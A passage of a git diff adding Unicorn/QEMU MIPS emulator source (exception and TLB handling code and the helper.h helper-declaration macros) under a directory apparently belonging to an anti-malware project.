XXX: TODO: manage defered watch exceptions */ + goto set_EPC; + case EXCP_MCHECK: + cause = 24; + goto set_EPC; + case EXCP_THREAD: + cause = 25; + goto set_EPC; + case EXCP_DSPDIS: + cause = 26; + goto set_EPC; + case EXCP_CACHE: + cause = 30; + if (env->CP0_Status & (1 << CP0St_BEV)) { + offset = 0x100; + } else { + offset = 0x20000100; + } + set_EPC: + if (!(env->CP0_Status & (1 << CP0St_EXL))) { + env->CP0_EPC = exception_resume_pc(env); + if (update_badinstr) { + set_badinstr_registers(env); + } + if (env->hflags & MIPS_HFLAG_BMASK) { + env->CP0_Cause |= (1U << CP0Ca_BD); + } else { + env->CP0_Cause &= ~(1U << CP0Ca_BD); + } + env->CP0_Status |= (1 << CP0St_EXL); + env->hflags |= MIPS_HFLAG_64 | MIPS_HFLAG_CP0; + env->hflags &= ~(MIPS_HFLAG_KSU); + } + env->hflags &= ~MIPS_HFLAG_BMASK; + if (env->CP0_Status & (1 << CP0St_BEV)) { + env->active_tc.PC = (int32_t)0xBFC00200; + } else { + env->active_tc.PC = (int32_t)(env->CP0_EBase & ~0x3ff); + } + env->active_tc.PC += offset; + set_hflags_for_handler(env); + env->CP0_Cause = (env->CP0_Cause & ~(0x1f << CP0Ca_EC)) | (cause << CP0Ca_EC); + break; + default: + qemu_log("Invalid MIPS exception %d. Exiting\n", cs->exception_index); + printf("Invalid MIPS exception %d. Exiting\n", cs->exception_index); + exit(1); + } + if (qemu_log_enabled() && cs->exception_index != EXCP_EXT_INTERRUPT) { + qemu_log("%s: PC " TARGET_FMT_lx " EPC " TARGET_FMT_lx " cause %d\n" + " S %08x C %08x A " TARGET_FMT_lx " D " TARGET_FMT_lx "\n", + __func__, env->active_tc.PC, env->CP0_EPC, cause, + env->CP0_Status, env->CP0_Cause, env->CP0_BadVAddr, + env->CP0_DEPC); + } +#endif + cs->exception_index = EXCP_NONE; +} + +bool mips_cpu_exec_interrupt(CPUState *cs, int interrupt_request) // qq +{ + if (interrupt_request & CPU_INTERRUPT_HARD) { + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; + + if (cpu_mips_hw_interrupts_pending(env)) { + /* Raise it */ + cs->exception_index = EXCP_EXT_INTERRUPT; + env->error_code = 0; + mips_cpu_do_interrupt(cs); + return true; + } + } + return false; +} + +#if !defined(CONFIG_USER_ONLY) +void r4k_invalidate_tlb (CPUMIPSState *env, int idx, int use_extra) +{ + MIPSCPU *cpu = mips_env_get_cpu(env); + CPUState *cs; + r4k_tlb_t *tlb; + target_ulong addr; + target_ulong end; + uint8_t ASID = env->CP0_EntryHi & 0xFF; + target_ulong mask; + + tlb = &env->tlb->mmu.r4k.tlb[idx]; + /* The qemu TLB is flushed when the ASID changes, so no need to + flush these entries again. */ + if (tlb->G == 0 && tlb->ASID != ASID) { + return; + } + + if (use_extra && env->tlb->tlb_in_use < MIPS_TLB_MAX) { + /* For tlbwr, we can shadow the discarded entry into + a new (fake) TLB entry, as long as the guest can not + tell that it's there. */ + env->tlb->mmu.r4k.tlb[env->tlb->tlb_in_use] = *tlb; + env->tlb->tlb_in_use++; + return; + } + + /* 1k pages are not supported. */ + mask = tlb->PageMask | ~(((unsigned int)TARGET_PAGE_MASK) << 1); + if (tlb->V0) { + cs = CPU(cpu); + addr = tlb->VPN & ~mask; +#if defined(TARGET_MIPS64) + if (addr >= (0xFFFFFFFF80000000ULL & env->SEGMask)) { + addr |= 0x3FFFFF0000000000ULL; + } +#endif + end = addr | (mask >> 1); + while (addr < end) { + tlb_flush_page(cs, addr); + addr += TARGET_PAGE_SIZE; + } + } + if (tlb->V1) { + cs = CPU(cpu); + addr = (tlb->VPN & ~mask) | ((mask >> 1) + 1); +#if defined(TARGET_MIPS64) + if (addr >= (0xFFFFFFFF80000000ULL & env->SEGMask)) { + addr |= 0x3FFFFF0000000000ULL; + } +#endif + end = addr | mask; + while (addr - 1 < end) { + tlb_flush_page(cs, addr); + addr += TARGET_PAGE_SIZE; + } + } +} +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/helper.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/helper.h new file mode 100644 index 0000000..1924bf6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/helper.h @@ -0,0 +1,936 @@ +DEF_HELPER_4(uc_tracecode, void, i32, i32, ptr, i64) + +DEF_HELPER_3(raise_exception_err, noreturn, env, i32, int) +DEF_HELPER_2(raise_exception, noreturn, env, i32) + +#ifdef TARGET_MIPS64 +DEF_HELPER_4(sdl, void, env, tl, tl, int) +DEF_HELPER_4(sdr, void, env, tl, tl, int) +#endif +DEF_HELPER_4(swl, void, env, tl, tl, int) +DEF_HELPER_4(swr, void, env, tl, tl, int) + +#ifndef CONFIG_USER_ONLY +DEF_HELPER_3(ll, tl, env, tl, int) +DEF_HELPER_4(sc, tl, env, tl, tl, int) +#ifdef TARGET_MIPS64 +DEF_HELPER_3(lld, tl, env, tl, int) +DEF_HELPER_4(scd, tl, env, tl, tl, int) +#endif +#endif + +DEF_HELPER_FLAGS_1(clo, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(clz, TCG_CALL_NO_RWG_SE, tl, tl) +#ifdef TARGET_MIPS64 +DEF_HELPER_FLAGS_1(dclo, TCG_CALL_NO_RWG_SE, tl, tl) +DEF_HELPER_FLAGS_1(dclz, TCG_CALL_NO_RWG_SE, tl, tl) +#endif + +DEF_HELPER_3(muls, tl, env, tl, tl) +DEF_HELPER_3(mulsu, tl, env, tl, tl) +DEF_HELPER_3(macc, tl, env, tl, tl) +DEF_HELPER_3(maccu, tl, env, tl, tl) +DEF_HELPER_3(msac, tl, env, tl, tl) +DEF_HELPER_3(msacu, tl, env, tl, tl) +DEF_HELPER_3(mulhi, tl, env, tl, tl) +DEF_HELPER_3(mulhiu, tl, env, tl, tl) +DEF_HELPER_3(mulshi, tl, env, tl, tl) +DEF_HELPER_3(mulshiu, tl, env, tl, tl) +DEF_HELPER_3(macchi, tl, env, tl, tl) +DEF_HELPER_3(macchiu, tl, env, tl, tl) +DEF_HELPER_3(msachi, tl, env, tl, tl) +DEF_HELPER_3(msachiu, tl, env, tl, tl) + +DEF_HELPER_FLAGS_1(bitswap, TCG_CALL_NO_RWG_SE, tl, tl) +#ifdef TARGET_MIPS64 +DEF_HELPER_FLAGS_1(dbitswap, TCG_CALL_NO_RWG_SE, tl, tl) +#endif + +#ifndef CONFIG_USER_ONLY +/* CP0 helpers */ +DEF_HELPER_1(mfc0_mvpcontrol, tl, env) +DEF_HELPER_1(mfc0_mvpconf0, tl, env) +DEF_HELPER_1(mfc0_mvpconf1, tl, env) +DEF_HELPER_1(mftc0_vpecontrol, tl, env) +DEF_HELPER_1(mftc0_vpeconf0, tl, env) +DEF_HELPER_1(mfc0_random, tl, env) +DEF_HELPER_1(mfc0_tcstatus, tl, env) +DEF_HELPER_1(mftc0_tcstatus, tl, env) +DEF_HELPER_1(mfc0_tcbind, tl, env) +DEF_HELPER_1(mftc0_tcbind, tl, env) +DEF_HELPER_1(mfc0_tcrestart, tl, env) +DEF_HELPER_1(mftc0_tcrestart, tl, env) +DEF_HELPER_1(mfc0_tchalt, tl, env) +DEF_HELPER_1(mftc0_tchalt, tl, env) +DEF_HELPER_1(mfc0_tccontext, tl, env) +DEF_HELPER_1(mftc0_tccontext, tl, env) +DEF_HELPER_1(mfc0_tcschedule, tl, env) +DEF_HELPER_1(mftc0_tcschedule, tl, env) +DEF_HELPER_1(mfc0_tcschefback, tl, env) +DEF_HELPER_1(mftc0_tcschefback, tl, env) +DEF_HELPER_1(mfc0_count, tl, env) +DEF_HELPER_1(mftc0_entryhi, tl, env) +DEF_HELPER_1(mftc0_status, tl, env) +DEF_HELPER_1(mftc0_cause, tl, env) +DEF_HELPER_1(mftc0_epc, tl, env) +DEF_HELPER_1(mftc0_ebase, tl, env) +DEF_HELPER_2(mftc0_configx, tl, env, tl) +DEF_HELPER_1(mfc0_lladdr, tl, env) +DEF_HELPER_2(mfc0_watchlo, tl, env, i32) +DEF_HELPER_2(mfc0_watchhi, tl, env, i32) +DEF_HELPER_1(mfc0_debug, tl, env) +DEF_HELPER_1(mftc0_debug, tl, env) +#ifdef TARGET_MIPS64 +DEF_HELPER_1(dmfc0_tcrestart, tl, env) +DEF_HELPER_1(dmfc0_tchalt, tl, env) +DEF_HELPER_1(dmfc0_tccontext, tl, env) +DEF_HELPER_1(dmfc0_tcschedule, tl, env) +DEF_HELPER_1(dmfc0_tcschefback, tl, env) +DEF_HELPER_1(dmfc0_lladdr, tl, env) +DEF_HELPER_2(dmfc0_watchlo, tl, env, i32) +#endif /* TARGET_MIPS64 */ + +DEF_HELPER_2(mtc0_index, void, env, tl) +DEF_HELPER_2(mtc0_mvpcontrol, void, env, tl) +DEF_HELPER_2(mtc0_vpecontrol, void, env, tl) +DEF_HELPER_2(mttc0_vpecontrol, void, env, tl) +DEF_HELPER_2(mtc0_vpeconf0, void, env, tl) +DEF_HELPER_2(mttc0_vpeconf0, void, env, tl) +DEF_HELPER_2(mtc0_vpeconf1, void, env, tl) +DEF_HELPER_2(mtc0_yqmask, void, env, tl) +DEF_HELPER_2(mtc0_vpeopt, void, env, tl) +DEF_HELPER_2(mtc0_entrylo0, void, env, tl) +DEF_HELPER_2(mtc0_tcstatus, void, env, tl) +DEF_HELPER_2(mttc0_tcstatus, void, env, tl) +DEF_HELPER_2(mtc0_tcbind, void, env, tl) +DEF_HELPER_2(mttc0_tcbind, void, env, tl) +DEF_HELPER_2(mtc0_tcrestart, void, env, tl) +DEF_HELPER_2(mttc0_tcrestart, void, env, tl) +DEF_HELPER_2(mtc0_tchalt, void, env, tl) +DEF_HELPER_2(mttc0_tchalt, void, env, tl) +DEF_HELPER_2(mtc0_tccontext, void, env, tl) +DEF_HELPER_2(mttc0_tccontext, void, env, tl) +DEF_HELPER_2(mtc0_tcschedule, void, env, tl) +DEF_HELPER_2(mttc0_tcschedule, void, env, tl) +DEF_HELPER_2(mtc0_tcschefback, void, env, tl) +DEF_HELPER_2(mttc0_tcschefback, void, env, tl) +DEF_HELPER_2(mtc0_entrylo1, void, env, tl) +DEF_HELPER_2(mtc0_context, void, env, tl) +DEF_HELPER_2(mtc0_pagemask, void, env, tl) +DEF_HELPER_2(mtc0_pagegrain, void, env, tl) +DEF_HELPER_2(mtc0_wired, void, env, tl) +DEF_HELPER_2(mtc0_srsconf0, void, env, tl) +DEF_HELPER_2(mtc0_srsconf1, void, env, tl) +DEF_HELPER_2(mtc0_srsconf2, void, env, tl) +DEF_HELPER_2(mtc0_srsconf3, void, env, tl) +DEF_HELPER_2(mtc0_srsconf4, void, env, tl) +DEF_HELPER_2(mtc0_hwrena, void, env, tl) +DEF_HELPER_2(mtc0_count, void, env, tl) +DEF_HELPER_2(mtc0_entryhi, void, env, tl) +DEF_HELPER_2(mttc0_entryhi, void, env, tl) +DEF_HELPER_2(mtc0_compare, void, env, tl) +DEF_HELPER_2(mtc0_status, void, env, tl) +DEF_HELPER_2(mttc0_status, void, env, tl) +DEF_HELPER_2(mtc0_intctl, void, env, tl) +DEF_HELPER_2(mtc0_srsctl, void, env, tl) +DEF_HELPER_2(mtc0_cause, void, env, tl) +DEF_HELPER_2(mttc0_cause, void, env, tl) +DEF_HELPER_2(mtc0_ebase, void, env, tl) +DEF_HELPER_2(mttc0_ebase, void, env, tl) +DEF_HELPER_2(mtc0_config0, void, env, tl) +DEF_HELPER_2(mtc0_config2, void, env, tl) +DEF_HELPER_2(mtc0_config4, void, env, tl) +DEF_HELPER_2(mtc0_config5, void, env, tl) +DEF_HELPER_2(mtc0_lladdr, void, env, tl) +DEF_HELPER_3(mtc0_watchlo, void, env, tl, i32) +DEF_HELPER_3(mtc0_watchhi, void, env, tl, i32) +DEF_HELPER_2(mtc0_xcontext, void, env, tl) +DEF_HELPER_2(mtc0_framemask, void, env, tl) +DEF_HELPER_2(mtc0_debug, void, env, tl) +DEF_HELPER_2(mttc0_debug, void, env, tl) +DEF_HELPER_2(mtc0_performance0, void, env, tl) +DEF_HELPER_2(mtc0_taglo, void, env, tl) +DEF_HELPER_2(mtc0_datalo, void, env, tl) +DEF_HELPER_2(mtc0_taghi, void, env, tl) +DEF_HELPER_2(mtc0_datahi, void, env, tl) + +#if defined(TARGET_MIPS64) +DEF_HELPER_2(dmtc0_entrylo0, void, env, i64) +DEF_HELPER_2(dmtc0_entrylo1, void, env, i64) +#endif + +/* MIPS MT functions */ +DEF_HELPER_2(mftgpr, tl, env, i32) +DEF_HELPER_2(mftlo, tl, env, i32) +DEF_HELPER_2(mfthi, tl, env, i32) +DEF_HELPER_2(mftacx, tl, env, i32) +DEF_HELPER_1(mftdsp, tl, env) +DEF_HELPER_3(mttgpr, void, env, tl, i32) +DEF_HELPER_3(mttlo, void, env, tl, i32) +DEF_HELPER_3(mtthi, void, env, tl, i32) +DEF_HELPER_3(mttacx, void, env, tl, i32) +DEF_HELPER_2(mttdsp, void, env, tl) +DEF_HELPER_0(dmt, tl) +DEF_HELPER_0(emt, tl) +DEF_HELPER_1(dvpe, tl, env) +DEF_HELPER_1(evpe, tl, env) +#endif /* !CONFIG_USER_ONLY */ + +/* microMIPS functions */ +DEF_HELPER_4(lwm, void, env, tl, tl, i32) +DEF_HELPER_4(swm, void, env, tl, tl, i32) +#ifdef TARGET_MIPS64 +DEF_HELPER_4(ldm, void, env, tl, tl, i32) +DEF_HELPER_4(sdm, void, env, tl, tl, i32) +#endif + +DEF_HELPER_2(fork, void, tl, tl) +DEF_HELPER_2(yield, tl, env, tl) + +/* CP1 functions */ +DEF_HELPER_2(cfc1, tl, env, i32) +DEF_HELPER_4(ctc1, void, env, tl, i32, i32) + +DEF_HELPER_2(float_cvtd_s, i64, env, i32) +DEF_HELPER_2(float_cvtd_w, i64, env, i32) +DEF_HELPER_2(float_cvtd_l, i64, env, i64) +DEF_HELPER_2(float_cvtl_d, i64, env, i64) +DEF_HELPER_2(float_cvtl_s, i64, env, i32) +DEF_HELPER_2(float_cvtps_pw, i64, env, i64) +DEF_HELPER_2(float_cvtpw_ps, i64, env, i64) +DEF_HELPER_2(float_cvts_d, i32, env, i64) +DEF_HELPER_2(float_cvts_w, i32, env, i32) +DEF_HELPER_2(float_cvts_l, i32, env, i64) +DEF_HELPER_2(float_cvts_pl, i32, env, i32) +DEF_HELPER_2(float_cvts_pu, i32, env, i32) +DEF_HELPER_2(float_cvtw_s, i32, env, i32) +DEF_HELPER_2(float_cvtw_d, i32, env, i64) + +DEF_HELPER_3(float_addr_ps, i64, env, i64, i64) +DEF_HELPER_3(float_mulr_ps, i64, env, i64, i64) + +DEF_HELPER_FLAGS_1(float_class_s, TCG_CALL_NO_RWG_SE, i32, i32) +DEF_HELPER_FLAGS_1(float_class_d, TCG_CALL_NO_RWG_SE, i64, i64) + +#define FOP_PROTO(op) \ +DEF_HELPER_4(float_ ## op ## _s, i32, env, i32, i32, i32) \ +DEF_HELPER_4(float_ ## op ## _d, i64, env, i64, i64, i64) +FOP_PROTO(maddf) +FOP_PROTO(msubf) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_3(float_ ## op ## _s, i32, env, i32, i32) \ +DEF_HELPER_3(float_ ## op ## _d, i64, env, i64, i64) +FOP_PROTO(max) +FOP_PROTO(maxa) +FOP_PROTO(min) +FOP_PROTO(mina) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_2(float_ ## op ## l_s, i64, env, i32) \ +DEF_HELPER_2(float_ ## op ## l_d, i64, env, i64) \ +DEF_HELPER_2(float_ ## op ## w_s, i32, env, i32) \ +DEF_HELPER_2(float_ ## op ## w_d, i32, env, i64) +FOP_PROTO(round) +FOP_PROTO(trunc) +FOP_PROTO(ceil) +FOP_PROTO(floor) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_2(float_ ## op ## _s, i32, env, i32) \ +DEF_HELPER_2(float_ ## op ## _d, i64, env, i64) +FOP_PROTO(sqrt) +FOP_PROTO(rsqrt) +FOP_PROTO(recip) +FOP_PROTO(rint) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_1(float_ ## op ## _s, i32, i32) \ +DEF_HELPER_1(float_ ## op ## _d, i64, i64) \ +DEF_HELPER_1(float_ ## op ## _ps, i64, i64) +FOP_PROTO(abs) +FOP_PROTO(chs) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_2(float_ ## op ## _s, i32, env, i32) \ +DEF_HELPER_2(float_ ## op ## _d, i64, env, i64) \ +DEF_HELPER_2(float_ ## op ## _ps, i64, env, i64) +FOP_PROTO(recip1) +FOP_PROTO(rsqrt1) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_3(float_ ## op ## _s, i32, env, i32, i32) \ +DEF_HELPER_3(float_ ## op ## _d, i64, env, i64, i64) \ +DEF_HELPER_3(float_ ## op ## _ps, i64, env, i64, i64) +FOP_PROTO(add) +FOP_PROTO(sub) +FOP_PROTO(mul) +FOP_PROTO(div) +FOP_PROTO(recip2) +FOP_PROTO(rsqrt2) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_4(float_ ## op ## _s, i32, env, i32, i32, i32) \ +DEF_HELPER_4(float_ ## op ## _d, i64, env, i64, i64, i64) \ +DEF_HELPER_4(float_ ## op ## _ps, i64, env, i64, i64, i64) +FOP_PROTO(madd) +FOP_PROTO(msub) +FOP_PROTO(nmadd) +FOP_PROTO(nmsub) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_4(cmp_d_ ## op, void, env, i64, i64, int) \ +DEF_HELPER_4(cmpabs_d_ ## op, void, env, i64, i64, int) \ +DEF_HELPER_4(cmp_s_ ## op, void, env, i32, i32, int) \ +DEF_HELPER_4(cmpabs_s_ ## op, void, env, i32, i32, int) \ +DEF_HELPER_4(cmp_ps_ ## op, void, env, i64, i64, int) \ +DEF_HELPER_4(cmpabs_ps_ ## op, void, env, i64, i64, int) +FOP_PROTO(f) +FOP_PROTO(un) +FOP_PROTO(eq) +FOP_PROTO(ueq) +FOP_PROTO(olt) +FOP_PROTO(ult) +FOP_PROTO(ole) +FOP_PROTO(ule) +FOP_PROTO(sf) +FOP_PROTO(ngle) +FOP_PROTO(seq) +FOP_PROTO(ngl) +FOP_PROTO(lt) +FOP_PROTO(nge) +FOP_PROTO(le) +FOP_PROTO(ngt) +#undef FOP_PROTO + +#define FOP_PROTO(op) \ +DEF_HELPER_3(r6_cmp_d_ ## op, i64, env, i64, i64) \ +DEF_HELPER_3(r6_cmp_s_ ## op, i32, env, i32, i32) +FOP_PROTO(af) +FOP_PROTO(un) +FOP_PROTO(eq) +FOP_PROTO(ueq) +FOP_PROTO(lt) +FOP_PROTO(ult) +FOP_PROTO(le) +FOP_PROTO(ule) +FOP_PROTO(saf) +FOP_PROTO(sun) +FOP_PROTO(seq) +FOP_PROTO(sueq) +FOP_PROTO(slt) +FOP_PROTO(sult) +FOP_PROTO(sle) +FOP_PROTO(sule) +FOP_PROTO(or) +FOP_PROTO(une) +FOP_PROTO(ne) +FOP_PROTO(sor) +FOP_PROTO(sune) +FOP_PROTO(sne) +#undef FOP_PROTO + +/* Special functions */ +#ifndef CONFIG_USER_ONLY +DEF_HELPER_1(tlbwi, void, env) +DEF_HELPER_1(tlbwr, void, env) +DEF_HELPER_1(tlbp, void, env) +DEF_HELPER_1(tlbr, void, env) +DEF_HELPER_1(tlbinv, void, env) +DEF_HELPER_1(tlbinvf, void, env) +DEF_HELPER_1(di, tl, env) +DEF_HELPER_1(ei, tl, env) +DEF_HELPER_1(eret, void, env) +DEF_HELPER_1(deret, void, env) +#endif /* !CONFIG_USER_ONLY */ +DEF_HELPER_1(rdhwr_cpunum, tl, env) +DEF_HELPER_1(rdhwr_synci_step, tl, env) +DEF_HELPER_1(rdhwr_cc, tl, env) +DEF_HELPER_1(rdhwr_ccres, tl, env) +DEF_HELPER_2(pmon, void, env, int) +DEF_HELPER_1(wait, void, env) + +/* Loongson multimedia functions. */ +DEF_HELPER_FLAGS_2(paddsh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(paddush, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(paddh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(paddw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(paddsb, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(paddusb, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(paddb, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(psubsh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psubush, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psubh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psubw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psubsb, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psubusb, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psubb, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(pshufh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(packsswh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(packsshb, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(packushb, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(punpcklhw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(punpckhhw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(punpcklbh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(punpckhbh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(punpcklwd, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(punpckhwd, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(pavgh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pavgb, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pmaxsh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pminsh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pmaxub, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pminub, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(pcmpeqw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pcmpgtw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pcmpeqh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pcmpgth, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pcmpeqb, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pcmpgtb, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(psllw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psllh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psrlw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psrlh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psraw, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(psrah, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(pmullh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pmulhh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pmulhuh, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_2(pmaddhw, TCG_CALL_NO_RWG_SE, i64, i64, i64) + +DEF_HELPER_FLAGS_2(pasubub, TCG_CALL_NO_RWG_SE, i64, i64, i64) +DEF_HELPER_FLAGS_1(biadd, TCG_CALL_NO_RWG_SE, i64, i64) +DEF_HELPER_FLAGS_1(pmovmskb, TCG_CALL_NO_RWG_SE, i64, i64) + +/*** MIPS DSP ***/ +/* DSP Arithmetic Sub-class insns */ +DEF_HELPER_FLAGS_3(addq_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(addq_s_ph, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(addq_qh, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(addq_s_qh, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(addq_s_w, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(addq_pw, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(addq_s_pw, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(addu_qb, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(addu_s_qb, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(adduh_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(adduh_r_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(addu_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(addu_s_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(addqh_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(addqh_r_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(addqh_w, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(addqh_r_w, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(addu_ob, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(addu_s_ob, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(adduh_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(adduh_r_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(addu_qh, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(addu_s_qh, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(subq_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(subq_s_ph, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(subq_qh, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(subq_s_qh, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(subq_s_w, 0, tl, tl, tl, env) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(subq_pw, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(subq_s_pw, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(subu_qb, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(subu_s_qb, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(subuh_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(subuh_r_qb, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(subu_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(subu_s_ph, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(subqh_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(subqh_r_ph, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(subqh_w, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(subqh_r_w, TCG_CALL_NO_RWG_SE, tl, tl, tl) +#if defined(TARGET_MIPS64) +DEF_HELPER_FLAGS_3(subu_ob, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(subu_s_ob, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(subuh_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_2(subuh_r_ob, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_3(subu_qh, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(subu_s_qh, 0, tl, tl, tl, env) +#endif +DEF_HELPER_FLAGS_3(addsc, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_3(addwc, 0, tl, tl, tl, env) +DEF_HELPER_FLAGS_2(modsub, TCG_CALL_NO_RWG_SE, tl, tl, tl) +DEF_HELPER_FLAGS_1(raddu_w_qb, TCG_CALL_NO_RWG_SE, 